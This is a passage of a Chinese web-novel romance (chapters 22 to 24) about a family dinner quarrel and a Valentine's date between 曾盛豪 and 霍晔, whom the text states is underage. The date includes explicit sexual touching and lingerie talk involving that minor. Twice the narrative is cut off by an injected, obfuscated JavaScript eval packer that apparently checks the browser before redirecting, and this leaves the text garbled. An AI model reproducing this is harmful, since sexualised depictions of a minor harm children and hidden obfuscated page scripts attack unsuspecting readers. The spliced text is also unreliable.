老爷子眼底含着泪,扒着他胳膊就忍不住诉苦:“小豪啊,你看看,你看看你爸,你奶奶走得早,没人管得住他了,这就嫌我是累赘了……” 曾盛豪叹了口气,只好一边耐心劝慰着,一边扶着嘟囔个不停的老头儿回房休息。 老人家一念叨就停不下来,拽着曾盛豪絮叨到九点才睡下,愈发坚定天底下只有小孙是他的知心人、小棉袄!他嚷嚷着一定要把这国宝级别的园子传给他的小棉袄,然后再让小棉袄传给下一代孙子! 等曾盛豪身心俱疲地从房间里出来,外头一大桌子饭菜早就凉透了。 隋莉也没动几下筷子,让保姆把菜都撤了,一个人焦虑地徘徊在老头门外听动静。 她真是不理解,老爷子年轻时是一位多么英明睿智的前辈,怎么越老越糊涂了? 确认老爷子睡沉了,隋莉订了家外面的餐厅,让曾孝席开车,又喊上曾盛豪去外面吃夜宵。 曾盛豪不太想和他妈一起吃饭。 如果和老爷子同桌吃饭聊的是健康问题,那么一家三口吃饭聊得就只有他的学习和前程问题。 曾盛豪本身学习没问题,但—— 家庭包厢氛围祥和静谧,只有三人不锈钢刀叉划在瓷盘子上的刺耳声。 隋莉低头切着牛排,随口问:“你意大利语学的怎么样?讲两句给我听听。” 曾盛豪递到嘴边的沙拉又放回去,说:“上学期住宿不太适应,还没来得及找老师。” 隋莉叹了口气,说:“那下学期就搬出去,带两个家人去照顾你。” 曾盛豪:“学校有制度,新生必须住宿舍。” 隋莉:“那就找你邵爷爷给校长打个招呼,之前你是说去探望过他了吧,你邵爷爷喜欢你吗?” 曾盛豪点头:“嗯。” 隋莉就笑:“你这性子,可能和同龄人说不到一处去,但老年人肯定都喜欢!” 曾盛豪:“……” 曾盛豪叉着西蓝花往嘴里塞,他妈突然又扭头问:“当时是你霍晔弟弟带你去的吧,你跟他讲了吗?你以后不愿意去第三世界的事?” 曾盛豪沉默。 这个问题他还没想好理由。 他其实原本就不太想说,只是……一想到他若像他爷爷这样籍籍无名一辈子,哪怕他身体强健,退休后大概不会落下一身病痛,他也绝不甘心。 他从小就被家人教导要志存高远,长大后要为国效力,这对旁人来说是空谈的口号,他却数年如一日地在努力践行着,日夜不敢懈怠。因此,他理所应当该站在更高更大的舞台,将自己的才能淋漓尽致地发挥出来。 这是每个人的心里话,可一旦说出来,似乎就不是一个纯粹的爱国者了。 我这样的英才,我为国而生,为国而不懈奋进,我配得上一个万众瞩目的舞台,让全世界都看得到我,当我的名字和我的祖国并列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隋莉叹了口气,嘱咐他:“你不要眼高手低,现在很多女孩子都是有宏图志向的,人家可能一时喜欢你富有或者长得帅,但不可能成天围着你转的,如果追不成功,你要求就降低一点嘛!” 曾盛豪抗拒道:“我不。” 隋莉皱眉:“你这孩子,你喜欢的人家瞧不上你,能有什么办法?妈是过来人,我劝你不要去喜欢那种万里挑一的,俗话说一山不容二虎,你和那种太聪明漂亮的女孩子处不来的。” 曾盛豪皱眉反驳:“你怎么知道我处不来?” “你是我生的,我能不知道?你这灰心丧气的模样不就已经被人家拿捏得死死的了吗?就算你炒股有钱,你七百多万就这么好赚啊?!” 曾盛豪又不吱声了。 隋莉冷哼一声:“我告诉你,咱家选儿媳妇的标准就一条:规矩懂事识大体!我允许她贪慕虚荣,允许她学历不高,只要她对你一颗真心,我都不介意!但是你别给我找那种风骚美艳的妖精进门,那种既不安分踏实,也不会照顾人,迟早还会害了你!” “你要安分踏实会照顾人,”曾盛豪不满,“我干脆和保姆过一辈子好了。” 隋莉眼睛再次危险地眯起:“看来还真是迷上哪个妖精了?” 曾盛豪不悦道:“妈,我认为你这话很不尊重人。” 隋莉顿了顿,举手投降:“好,我道歉,妈只是希望你不要堕落。” 曾盛豪反驳道:“喜欢上和自己不搭配的人就叫堕落吗?” 隋莉挑眉:“不然呢?明知两个人不合适,为什么还要在一起?” 曾盛豪眸光一沉,紧盯着她: “那你和爸又为什么要在一起?” 隋莉一愣:“什么?” “明知你海外商人的身份和爸在一起会踩红线,你为什么还要和爸结婚?” “既然结了婚,为什么又不遵守婚约誓言,在生下我之后又和爸离婚?” “是为了你的宏图大志,还是想鱼和熊掌兼得?明知不可为而为之,难道妈就不算堕落吗?” “你……你……”隋莉瞬间红了眼眶,扶着桌子颤颤起身,不敢置信道,“你居然这么看待我?!” 曾盛豪皱眉:“我只是就事论事。” 隋莉不禁捂着脸哭起来。 曾孝席忙起身去扶前妻,转头呵斥道:“盛豪,不许这么跟你妈讲话!你妈为这个家付出了多少心血,你不懂感恩就罢了,怎么能曲解她良苦用心!” 曾盛豪慌张站起身:“我没有!” 曾孝席训斥道:“还有什么叫违背婚约誓言?!只要两个人心在一处,那点儿可有可无的形式主义又算得了什么!当年你妈是离职后才和我结婚,是生完你后才复职,你告诉我她踩哪一根红线了?!” “我们离婚只是为了避免不必要的麻烦,这么多年,我和你妈一不谈论国事,二没有经济往来,不管结婚离婚,从头至尾的重心都是你!尤其是她,多年来呕心沥血地培养你、工作再忙也要千方百计地照顾你,生怕你有一点儿不好处,她除了工作满心满眼就只剩下你!到头来你这个做儿子就这么让她当母亲的寒心吗!” 曾盛豪不知该说什么好。 他搞不懂他爸干嘛要这么激动,明明是妈先说霍晔是妖精的…… 曾孝席沉声道:“还不快给你妈道歉!” 曾盛豪低头道:“妈,对不起。” 隋莉匆忙抹着泪,冲他摆摆手:“没关系,我知道你不是那意思,你先回去吧。” 曾盛豪不肯走,执拗道:“妈,他会照顾人,他会煮面。” 想了想,又强调:“比餐厅做的还好吃。” 隋莉不禁又笑,红着眼眶望着他:“好,妈相信你肯定不会喜欢上很坏的人。” 曾盛豪纠正道:“他是很好的人。” 隋莉点点头,笑着问:“好,有她照片吗?给我看看。” 一时间,曾盛豪大脑闪过无数张霍晔在深夜私发给他的风骚半裸自拍照,似乎没一张是能登得上台面的。 于是他一溜烟飘向门外。 “妈,我困了,先回了,你和爸再多吃点儿吧。” 23. 第二十三章 曾孝席没待两天就打算离家了。 原本还有两天假,奈何家里老父亲看他不顺眼,从早到晚地发脾气,曾孝席怕刺激老头儿,一声不吭地收拾东西就要走。 将近十九年的时光里,曾盛豪一直以为他爸妈是感情淡了才和平分手。 他知道他爸妈私下偶尔会聚在一起喝咖啡聊天,但那只是前任之间的正常社交,至于他爸有时会提议要带上他,一家三口去外面吃铺满玫瑰花的烛光晚餐、看长达三小时的纪录片电影、逛凌晨一点钟的社区公园,也不过是一位不善言辞的父亲在担心儿子的成长问题,不动声色地给予他呵护和陪伴。 曾盛豪比较早熟,他私下无数次为他爸深沉又细腻的父爱而感动过。 然而,如今的形势似乎是他自作多情了,曾盛豪就撺掇他妈去挽留一下他爸,最好俩人再出门过个情人节。 曾盛豪给他爸塞了两张情人节深夜档的电影票,给他妈推荐了电影商城旁边一家24小时营业的书咖,说,你们可以畅聊一整夜。 隋莉不知道电影票的事,只知道儿子让她和前夫在情人节去书咖喝一整夜的咖啡,不禁有些怅惘与绝望—— 就凭儿子这种傻乎乎的撮合方式,估计他这辈子都谈不到女朋友了。 另一边,曾孝席面无表情地将电影票揣兜里,对儿子笃定道:“你女朋友这天来找你。” 曾盛豪不免失望:“本来打算多在爷爷面前帮爸说说好话的。” 曾孝席瞥他:“这难道不是你分内该做的事?” 曾盛豪笑望着他:“妈说她愿意在那天陪你去看书喝咖啡。” 曾孝席便也笑,抬手拍了拍他肩膀,说了句“会帮你保密的”,转身扬长而去。 隋莉出门前也觉得哪里不对劲,私下喊来徐冕,说他们不在家的时候,盛豪这阵子有没有异常? 比起做喜欢告密的功臣,徐冕更想做世代的元老。 他斩钉截铁道:“哪有啊,这孩子成天待在房间里看书,要么就陪着老爷子下棋散步聊天,简直孝顺极了!” 隋莉彻底放了心。 等傍晚曾盛豪换衣服准备出门,徐冕屁颠屁颠地跑来找他表功,一胳膊就怼在他肩窝:“诶,少爷,这事儿有我的功,回头你家产分我一半啊!” 曾盛豪望着镜子笑:“这个有点难办,但我会帮您多买两瓶好点儿的生发水的。” 徐冕气得一笑,不禁也瞅着镜子上下打量,感慨道:“咱家少爷就是标致啊。” 曾盛豪拿发胶对镜抓了个潮流的美式前刺,里头穿的紧身黑毛衣,外头搭配一件厚实保暖的深棕羊羔毛牛仔外套,下身是条很显腿长的休闲裤,脚踩一双漆黑锃亮的束绳短靴。 他喷完香水,凑近镜子对自己满意一笑,满屋登时扑面袭来一阵青春干练的男大清爽气,吹得徐冕这个五十多岁的老秃子都不禁心跳加速,眼前似乎看到一片春天桃花盛放的粉红场景。 “诶哟,”徐冕快受不了了,催促道,“赶紧约会去吧,回头人家姑娘没爱上你,我老头子都要爱上你了!” 徐冕这话一说,曾盛豪笑脸瞬间就耷拉下来。 之前他妈那句“很讨老人家喜欢”,莫名让他觉得这身装扮若是老人家看中了,同龄人大概不会喜欢。 尽管徐叔叔是秃头童颜,本性风趣跳脱,但毕竟也是快六十的人了。 他刚打算去衣帽间重换衣服,霍晔发消息说还有半小时就到,让他可以准备出门了。 曾盛豪就没换衣服。 他拎起装着贴膜工具和几本书的双肩包,让冯洪开车把他送到和霍晔提前约好的位置—— 离家十公里外的一处城乡结合部的某村村口。 天色已晚,空气潮湿阴冷,身后是覆盖着一层薄薄积雪的农田,远处村里农家烟囱飘出一缕缕炊烟,不时传来狗吠鸡鸣。 曾盛豪背着书包,脚踩沥青大道,孤身站着寂静无人的村口沿着农田来回徘徊,等着霍晔开车来接他。 冯洪本来要陪他等,曾盛豪拒绝了,他不想耽误对方接孩子。 冯洪妻子去年出了场车祸,被酒驾肇事者撞残了一条腿,不便行走。两口子的女儿才刚上幼儿园,冯洪拒绝了妻子请保姆带娃的提议,决心成为一名家庭煮夫。 他放弃了职业格斗选手生涯,选择在曾家做一名普通的高薪保镖。 曾盛豪认为,冯洪这种牺牲小我梦想、顾全家庭妻女的好男人是值得钦佩的。 冯洪就笑着跟曾盛豪摆手,说,不能这么讲。 “我老婆从恋爱的时候就一直支持我、鼓励我,哪怕我在人生最低谷的时候,她也没离开过我。” “后来我经济好起来了,也没时间陪她。”冯洪在路上跟他讲,“总觉得家庭美满了,经济富裕了,我就可以专心做我喜欢的事了,但是我老婆出车祸这事儿给了我一个很大的教训,那就是这世界上没有任何事是比她更重要的,她就是我人生的全部意义。” “你和你老婆的感情很深厚才会这样说,”曾盛豪笑,“但对我来说,可能还是会选择坚持自己的梦想和追求。” “那当然了!”冯洪扭头笑,“您和我们小老百姓又不一样,再等个一百多来年,您肯定会和您的家人一样,成为被印在历史书上的大人物了。” “历史书不太可能,”曾盛豪谦逊道,“当代政治课本就夙愿得偿了。” 二人一路说笑,等冯洪离开后,曾盛豪背着书包在原地冻了二十多分钟。 他不停地看手机时间,心里忍不住埋怨起霍晔根本就没守时,按理俩人会差不多时间到,霍晔半小时前就说快到了,现在马上就要迟到半小时了,他身上的香水味儿都要散尽了!!! 头顶一片黑压压的麻雀成群结伴飞掠而过,曾盛豪不免心觉凄凉。 他抬眼眺望着远方一望无际的光秃田地,哆嗦着从衣兜里伸出双手,使劲搓着自己快冻僵的脸。 正打算深刻反思一下“答应和霍晔在情人节见面”这件事的正确性,身后由远及近传来一阵轰鸣嘈杂的摩托车响。 真吵。 曾盛豪心情不好,不无恶意地想,幸亏这人不是在城市里骑车,否则他一定会打110举报。 然而下一秒,对方车灯闪耀亮起,他眯起眼,看清楚伏在摩托车上的修长身形,突然又觉得这噪声没那么讨厌了。 霍晔身穿漆黑皮衣,开襟敞怀,露出里面搭配西装才穿的白衬衫。他似乎是刚在办公室开完会抢劫来的装备,下身还是西裤皮鞋,冻红的颈间逆风飞扬着一条规整束紧的波点红领带,长腿胯|下骑着一辆喷漆着火焰纹的庞大机车。 霍晔手掌拧足了油门,一时轰鸣车声震耳欲聋,他压弯绕着曾盛豪不停转圈,笑眼上下打量着对方,冲人没完没了地吹流氓哨。 曾盛豪立在原地笑个不停。 好半天,霍晔玩儿够了,终于舍得消停下来。 他长腿支在地上,递给曾盛豪一个头盔,笑道:“走啦,靓仔,去拍拖啦!” 曾盛豪挺不舍地看着脚边油漆道上、刚才霍晔用车胎划出来的清晰可辨的心形圈,接过头盔,好奇问:“你哪来的车?你还会骑摩托吗?” 他还以为霍晔会开那辆劳斯莱斯来接他呢。 霍晔也戴上个头盔,随口道:“这边有个领导儿子爱玩车,他教我的。” 曾盛豪这才意识到霍晔刚才那句粤语腔是怎么回事儿。 突然看这破车就不顺眼了。 曾盛豪不肯上车,皱眉道:“你不是说这边都是五六十岁的糟老头子吗?怎么还跟领导儿子扯上关系了。” 霍晔一见他那滔天醋劲儿就要憋不住笑。 他伸手捏了捏曾盛豪脸蛋,哄道:“乖,我整天跟群老头子玩儿多没劲啊,对方估计看出我身份不一般,有天晚上饭局就把他儿子喊来蹭饭,其实就想让他儿子跟我套近乎打听我身份,那些人都是逢场作戏闹着玩儿的,哪能比得上你?嗯?” 曾盛豪怨气十足地别过脸:“那你学他说话!” 霍晔笑得不行:“他祖籍广东的,不时就往外蹦两句粤语,我觉得好玩儿嘛!” 曾盛豪冷哼:“那只能说明你经常和他待在一起。” 霍晔伸手戳一下他鼻子:“不许你多想,还有别人一起玩儿呢。” 曾盛豪抬眼瞅他:“谁?” 霍晔笑嘻嘻逗他:“他那群车友们。” “那你去玩儿吧,我走了。” 曾盛豪背着书包,转身大踏步就要离开。 “???????????????????????????.”身后人突然吐出一句清晰标准的阿拉伯语。 曾盛豪脚步猛然僵住。 他几乎不敢相信,缓缓转过身,两眼怔愣地望着对方。 霍晔塌腰撅着屁股,一脸笑意地支着手肘托腮在摩托车上,眸底清澈的星光比车灯还要明媚闪耀。 “他跟我表白,我说我有个非洲男友。” “他非说我骗他感情,要跟我赌两把炸金花,我输了就要跟他上床,正好我相中他车了,就答应了。” “胡闹!”曾盛豪瞬间怒火中烧,噔噔噔踩着步子冲向霍晔,劈头盖脸就一顿呵斥,“那你赌输了怎么办?!还有那个会说粤语的机车佬!他简直是色胆包天毫无下限!他这属于是诱拐未成年犯罪了!他这是强|奸!!他不是好人!!!” “好人哥你别激动,”霍晔忙安抚,“他不知道我没成年,而且我打牌这技术可是我叔亲自传授的,绝不可能输,就算输了,我也不会认的,真的!” “你就算成年了也不准随、便、跟、人、上、床!!!”曾盛豪几乎要气疯了,怒瞪着他,“算我求你了,你能不能稍微自尊自爱一点?!你把这种事当成赌注儿戏,人家就算一开始喜欢你,事后也不会认真对待你的!!” 霍晔被吼得耳朵都要聋了,他叹了口气,小拇指漫不经心地掏掏耳朵,说:“其实他没说要和我上床。” 曾盛豪气呼呼地喘着粗气,半信半疑道:“真的?” 霍晔冲他嫣然一笑:“他说要我和他接半小时的吻。” 曾盛豪顿了顿,说:“那也不行。” 霍晔明知故问:“怎么不行?接吻难道不算是正常恋爱的范畴么?” 曾盛豪充耳不闻,两下戴好头盔,抬腿跨坐在霍晔身后。 “快走吧,天这么冷。” 霍晔就笑着发动车子,刚张嘴要对方抱紧他,身后两只手就拥了过来。 然后缓缓移到下面他两边大腿根处。 霍晔诧异挑眉。 随之不屑轻哼一声,还好意思说人家色,你曾盛豪又好到哪里去? 下一秒,两只手捡起垂落在他大腿上的皮衣拉链,盲人摸象一般,磨蹭着将拉链对准卡槽。 身后人冻僵的手指捏住他腹前拉锁,在他耳畔嘱咐一句“小心下巴,别低头”,然后缓缓将拉链拉紧到他领口。 霍晔沉默,突然就攥住了那只帮他拉拉链的冻僵的手。 “盛豪哥,我不该贪玩儿,害你等在这儿这么冷。” “没关系,”曾盛豪另一只手将他抱紧,笑道,“你这不是来了么。” 霍晔“嗯”了声,没再跟对方讲多余的话,将摩托车调转方向,风驰电掣朝隔壁市中心驶去。 其实来的路上,霍晔也有过犹豫。 他穿这么少,大冬天跑一个拒绝过他无数次的男生家门口来耍帅,单方面半威胁半强制地强迫对方和自己情人节见面,到底值不值得? 他一开始确实对曾盛豪只是玩儿,曾盛豪又帅又可爱,他很喜欢逗他,也很渴望和对方产生一些亲密的肢体接触,但不至于真的和对方上床,只要看到曾盛豪脸红得像滴血,他就很开心,仅此而已。 后来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那傻蛋至今不知道他身份,只当他是某个总部高管的儿子,一口一个“小军”的喊他,霍晔心不在焉地听着,故意拖延着时间,直到天色渐晚,气温越来越低,不禁又开始担心,他家怕冷的死老头儿估计要冻坏了。 然而一碰面,霍晔没想到死老头儿居然穿得跟个小洋人似的,从头到脚又酷又潮,还一脸不值钱地冲他傻笑,他几乎无法控制住自己—— 天哪,他人生第一次这样对一个人心潮澎湃! 逢场作戏惯了,他说过一箩筐的真话假话,语言的通货膨胀遮掩了他迷失在其中的心,霍晔也搞不明白自己对曾盛豪的喜欢究竟升值到哪一步了。 他只知道,今晚他很想吻他。 两人特地避开曾盛豪的家,转而在隔壁市约会。 曾盛豪在这边有房产,冯洪早已提前打理好,他和他看完深夜档电影后会去那边过夜。 高档包厢里,环境私密幽静,因为是淮扬菜系,室内布置古色古香,颇有江南意境。 菜还没上齐,曾盛豪脱了外套,专心伏在桌边帮人手机贴膜,霍晔如同猫吸薄荷一样,整个人趴在他肌肉紧实的背上,埋头嗅他脖颈间好闻的气味。 霍晔有些迷醉,在他耳畔轻声嘟哝:“老婆,身上好香,什么牌子的香水啊……” 曾盛豪头也没回:“没喷香水,就洗了个澡。” 霍晔哼一声:“我才不信。” 曾盛豪就笑:“你爱信不信。” 有服务生敲门说上菜,霍晔依依不舍地从曾盛豪身上爬起来。 门开了,一行服务生端着四菜一汤陆续进来,领头恭敬问着他们,甜品是稍后上还是现在上?霍晔懒洋洋应了句“最后上吧”,然后单手插兜,缓慢踱步到一旁假装欣赏字画。 等那群人关门离开,他马上原形毕露,一屁股跑去曾盛豪旁边位置,拉开椅子和对方并排坐着。 曾盛豪刚好贴完膜,扭头瞧他一眼。 霍晔对他反应不太满意,皱眉道:“我都没亲你呢,现在挨着坐都不行了?” 曾盛豪将手机推给他,笑道:“行。” 霍晔轻易就被哄高兴了,笑哼哼地去拉身旁人的手,捋起曾盛豪的黑毛衣袖子就一通虎摸。曾盛豪没忍住笑,刚打算说一句“晚点儿再摸,一直牵着手还怎么吃饭”,腕上突然被人上手铐似的,戴上了一个冰凉凉的东西。 他低头一看,是只江诗丹顿overseas的精钢腕表,银闪闪的,映衬着他青筋隐显的小臂,很漂亮。 “老婆,”霍晔牵着他手,一晃一晃的,“喜欢么?” “喜欢。”曾盛豪忍不住笑。 “送你的情人节礼物,”霍晔被他笑容迷得有些眼晕,情不自禁凑在他嘴唇吻了一吻,“你可以认为它只是一件普通的新年礼物。” “谢谢。”曾盛豪笑着,追着他嘴唇啄了一下。 霍晔突然就有点愣。 “你、你干嘛?” “我以为我们在约会。” 曾盛豪望向他的眸光深沉起来。 趁人发呆,他小心捧起对方脸庞,另一戴表的那只手紧扣住他后腰,一边搂着霍晔往自己怀里Rou|弄,一边将shé头伸进他齿缝更深的柔软处,持续不断地加深了这个吻。 “啊……”霍晔被亲得迷迷糊糊,“我还以为我们在团建呢……” “不,我们在谈情说爱。”曾盛豪呼吸渐重,愈发觉得亲不过瘾,干脆将人抱在自己腿上,掌心强摁着对方的后脑勺与自己深吻。 听到对方有些慌张的chuǎn|xi声,他嗓音含混不清,安抚道:“小晔你别怕,我问过佛祖了。” “唔——”霍晔逐渐喘不过气,忍不住挣扎起来,“什、什么佛祖?” “我要和你及时行乐。”说罢,抚摸游离在对方腰间的手指轻轻一挑,解开了怀里人西裤的皮带。 24. 第二十四章 曾盛豪的掌心覆上他后|tún的那一刻,霍晔缩在他怀里打了个激灵。 二人亲昵紧拥,曾盛豪抵在他Kuà|缝的某处越涨越大,几乎要捅破两人裤子,长驱直入进他身体。 霍晔被曾盛豪亲得头晕缺氧,有些怨恨曾盛豪口是心非,一点儿都不懂得怜惜他。 俩人饭都没吃一口,曾盛豪就急哄哄要先把他当盘菜给吃了,原先他预备初夜,还知道找一家豪华酒店呢。 霍晔对曾盛豪那根无限膨胀的金刚棍也有些恐惧。 他本身没做过这种事,也从没对别人产生过太浓烈的欲望,因此他不清楚自己能发展到多大,但他知道,如果今天曾盛豪进来了,他屁股指定会绽放得比秋天盛放的菊花瓣还要灿烂。 然而大半天过去,曾盛豪抱着他又亲又摸,那股子劲儿竟缓缓消沉下去了。 霍晔庆幸又扫兴,不明白自己哪儿让这祖宗失望了。 曾盛豪轻喘着气,眼眶微红,拿纸巾帮霍晔把糊满嘴的涎水擦掉,又低头给他重新系着皮带。 霍晔瞅着对方一脸小媳妇样儿,伸手摸了摸他脸:“怎么了?” 曾盛豪闷着头笑:“差点、差点就忍不住了。” 霍晔笑得不行,趴在人耳畔问:“那什么让你又忍住了?” 曾盛豪不肯说,把人推去一旁,冠冕堂皇道:“吃饭吧。” 霍晔哼了一声,绕过桌子,坐到对面去吃。 曾盛豪黏腻依恋的视线追随他飘了过去,见他落座,也没吱声。 霍晔笑:“你老实给我交代,我就坐过去。” 曾盛豪充耳不闻,一味殷勤端着碗给俩人盛汤,推荐道:“这个很鲜,你尝尝。” 然后无视掉霍晔好奇打量的目光,埋头安静吃菜。 霍晔也饿。中午的饭局有白聿川在,那傻小子就差把“我爱邵小军”写在脸上了,同座的老头子们都是千年的人精,万一有人起了歹心,偷摸在酒里给他下点药,把他当做礼物献给人家白少爷就麻烦了。 这种破事儿,霍晔平均仨月能碰上两次,他出趟差不想惹是生非,借口整理汇报文件就没去参加。 满桌珍馐佳肴,对座美男秀色可餐,霍晔心情不错。 刚挑了个沾满汤汁的竹荪咬进嘴,嚼没两口,他恍然顿悟,抬头问曾盛豪: “是不是因为我今天没穿蕾丝内裤,你不开心了?” 曾盛豪猛地一口热汤呛在喉咙里,俯身捂着湿纸巾咳嗽个不停。 这就是了。 “亲爱的,”霍晔一本正经地给对方解释,“你要知道摩托车比不得轿车的真皮座,我骑车仨小时过高速要穿蕾丝裤会很磨屁股的!” “别、别说了!”曾盛豪咳得脸红脖子粗,羞愧得不敢抬头。 他只是摸到霍晔的CK内裤,想起对方说过穿蕾丝才算是跟他约会,二人激吻时,霍晔的反应也不是很期待,他怕伤到这人,最终没舍得太过分。 “你别这样,”霍晔皱起眉,有点担心曾盛豪会因为自己穿得不够风骚而走向阳|痿,便和人商量道,“我晚上穿给你看行吗?” “这是饭桌,”曾盛豪沉声道,“我们不要再讲这个话题了。” “行了,别嘴硬了,我先点个外送放你家门口吧。” 曾盛豪提前说过新房地址,若计划一失败,他们就开启计划二: 霍晔先去空房那边等着,曾盛豪晚上陪家人吃完饭就偷溜出去。 霍晔埋头在手机上输好外送地址,开始在情|趣内|衣店挑选:“诶,你喜欢什么颜色的?白的粉的还是黑的?” “霍晔!”曾盛豪有点恼,“我说我们不要再讲这个话题了!” “你要不想说我就不买,但是晚上你就没得看了,”霍晔头也不抬,“快点,白的粉的还是黑的?” “黑的。”曾盛豪脱口就出。 想了想,又补充道:“其他颜色……想必也会很好看。” 霍晔好奇抬头:“其他哪个颜色?” 曾盛豪别过脸:“每个颜色。” 霍晔不禁嘴角勾起,轻轻“嗯”了一声,问:“喜欢什么款式?” 曾盛豪立刻道:“绑带的,一片式。” 霍晔诧异挑眉,他上次穿的可不是这种。 曾盛豪清咳一声:“你胯骨很漂亮,要露出来。” 霍晔没忍住翻了个白眼,他都不好意思戳穿曾盛豪这大色魔到底是想让他露胯骨还是露别的地方。 等下完单,他撂下手机,拿筷子开始吃饭,不经意随口道:“曾盛豪,我想和你说件事儿。” 曾盛豪目光幽幽地瞅着他:“我比你大将近两岁。” 霍晔气得想笑:“好的,盛豪哥。” 曾盛豪舀勺子喝了口汤,应道:“你想说什么?” 霍晔拿筷子戳着碗里的米饭,轻声道:“你愿意和我及时行乐是件好事,你就是喜欢我吧?我们……玩玩就好,你别爱上我这种人,因为我也不会爱上你。” “你心里也清楚,我们各自最终都要结婚的。” 曾盛豪垂眸搅动着青花瓷盅里的鲜汤,话音平静无波:“嗯,我知道。” 霍晔见他这种反应,不禁有些心冷。 他说:“你以后别再喊我小晔了。” 曾盛豪驳斥道:“这个不行。” 霍晔瞪他:“为什么?” 曾盛豪淡淡道:“没有为什么,我作为一个公民,拥有最基本的言论自由权。” 霍晔皱眉:“但你喊的是我的名字!” 曾盛豪:“那你去法院告我。” 霍晔:“……” 霍晔只好妥协:“只能私下这么喊,不能让别人听见。” 曾盛豪:“给我一个理由。” 霍晔气笑了:“理由?还用我再教你一遍?你官儿还没当上呢,就先闹得全世界都知道你是同性恋了,找死呢?” 曾盛豪顿了顿,点头:“好,我听你的。” 说完,又认真纠正对方:“我不是同性恋,我只是……我只对你。” 霍晔脸上瞬间浮起一层深深的羞赧的红。 他攥拳清咳一声,试图保持严肃:“还、还有一件事,我们要提前讲明。” 曾盛豪望着他:“你说。” 霍晔有点不敢和他对视,眼风绕着整个包厢四下乱瞟着:“你轻一点……” 曾盛豪没忍住笑,点头道:“好,我知道了。” 晚餐过后,曾盛豪要带着霍晔去楼下奢侈品店买衣服。 霍晔上身皮衣衬衫,下身西裤皮鞋,若非身高和脸撑着,这一身实在不搭配。 他们看电影要赶时间,曾盛豪直接挑的店内男模特身上搭配好的浅色卫衣与深色卫裤,又要了双棉绒白袜、深卡其色的雪地靴,和一件黑色长款羽绒服。 霍晔换好衣服出来,浑身捂得严实臃肿,少了几分英气凌厉,多了几分乖俏温柔。 曾盛豪付完账,将人牵去电梯楼口拐角,吻了一下霍晔的额头。 “小晔,以后冬天都要穿暖和点。” 霍晔忍不住脸红。 平常口嗨惯了,整天嚷着爱这个爱那个,眼下真谈起恋爱来,人家一个吻就搞得他心跳怦怦的。 二人坐电梯上五楼影院,静谧空间里,霍晔悄悄勾住身旁人的小手指,一晃一晃的,小声说:“我其实不怕冷。” 曾盛豪不置可否,只说:“等会儿你把摩托车钥匙给我,我明天让冯洪给他送回去。” 霍晔有点不甘心:“你真小气。” 曾盛豪面无表情:“一辆破摩托有什么好骑的?” 霍晔“嘿”一声:“人家那是花了近百万才改装好的摩托,私人订制的好吧!” 曾盛豪瞥他一眼:“你很喜欢骑?” 霍晔就笑:“怎么,你又要给我买一辆?” 曾盛豪摇头:“不行,太危险了,真出了事,连个气囊都没有。” 霍晔甩开他手:“那你问我干屁用?” 曾盛豪:“我和摩托,你只能选一个。” “不是我说,你怎么什么醋都吃啊?”霍晔忍不住瞪他,“摩托是车,你是人,那车能骑,你人又不能——” 电梯“滴”一声开了,霍晔话音戛然而止。 他虎着脸瞅着曾盛豪逐渐翘起的嘴角,莫名有一种良家少年被坏男人骗上贼船的错觉。 “说啊,”曾盛豪淡淡道,“怎么不继续说了?” “算了,”霍晔埋头就往门外冲,“看电影去!” 两人位置在最正中排,情人节影院本来人就满,霍晔嫌弃曾盛豪选的这座儿不是个亲嘴儿的好地方。 曾盛豪说看电影就要认真看电影,这部讲述近代史的红色影片还原了大量的史实细节,还有数位国家一级演员友情出演,特别有鉴赏意义。 他还告诉霍晔,他帮他爸妈买的票也是这个片子、同一时间。 霍晔没由来一阵恶寒。 要是曾盛豪爸妈知道他勾引了他们精心培养的好儿子,俩人非把他宰了不可。 观影中途,曾盛豪察觉霍晔心不在焉,便握住他手:“怎么了?” 霍晔小声问:“诶,你爸妈凶吗?” 曾盛豪立刻就知道他在想什么,笑道:“不凶,他们都很讲道理的。” 霍晔撇撇嘴:“再讲道理,也不会同意我和你在一起。” 曾盛豪便道:“不,我们之间没有正式的名分作为依据,连官样文章都写不出,任何人都不能对我们的关系下定义。” “既然无法定义,那就无法评判。” 霍晔就笑。 他扭头注视着身旁人,一束微亮的荧幕光投射到曾盛豪的脸上,这人分明做错事还一副光明磊落的表情,简直是……帅得没边了。 良久,他声音黏糊糊地问:“那你……你心里对我们是怎么定义的?” 曾盛豪不动声色地攥紧他手,“我只行动,不定义。” 霍晔轻哼,他算是看透这颗顽石了。 这顽石对于想做的事,总有理由自圆其说。 观影不到半小时,整个漆黑大厅轰隆隆炸响着枪炮声、嘹亮刺耳的冲锋号角声,霍晔充耳不闻,逐渐瘫在按摩椅里睡着了。 曾盛豪脱下外套给他当被子盖,自己一直正襟危坐到电影结束。 趁着影厅灯还没亮,他从霍晔裤兜把摩托车钥匙摸出来,给冯洪发了信息,让对方明天去余姚送车。 冯洪问对方姓名和住址,曾盛豪不清楚,便把霍晔寒假巡视的分部公司名字发了过去,让冯洪把摩托停公司楼下,车钥匙撂在大堂前台。 反正自家领导儿子的机车,前台肯定认识,一个电话打过去,让他们家小老板自己去骑好了,总不至于让霍晔亲自送过去。 毕竟这俩人身份不匹配,门不当也户不对。 曾盛豪提前打好了车,霍晔半困半醒地打着哈欠,被对方牵着手走出影城。 司机等候在路边,俩人途径便利店,霍晔扭头问曾盛豪:“要去买盒套吗?” 曾盛豪双手帮他把羽绒服帽子戴好:“等你过完生日再说吧。” 霍晔费解:“那你让我买情|趣内裤?” 曾盛豪:“我会认真欣赏,不会浪费。” 霍晔冷呵一声:“还以为你胆子多大呢。” 曾盛豪不以为然:“我不认为遵纪守法是多么怯懦的行为。” 霍晔瞪他:“那你吃饭的时候脱我裤子还摸我屁股?” 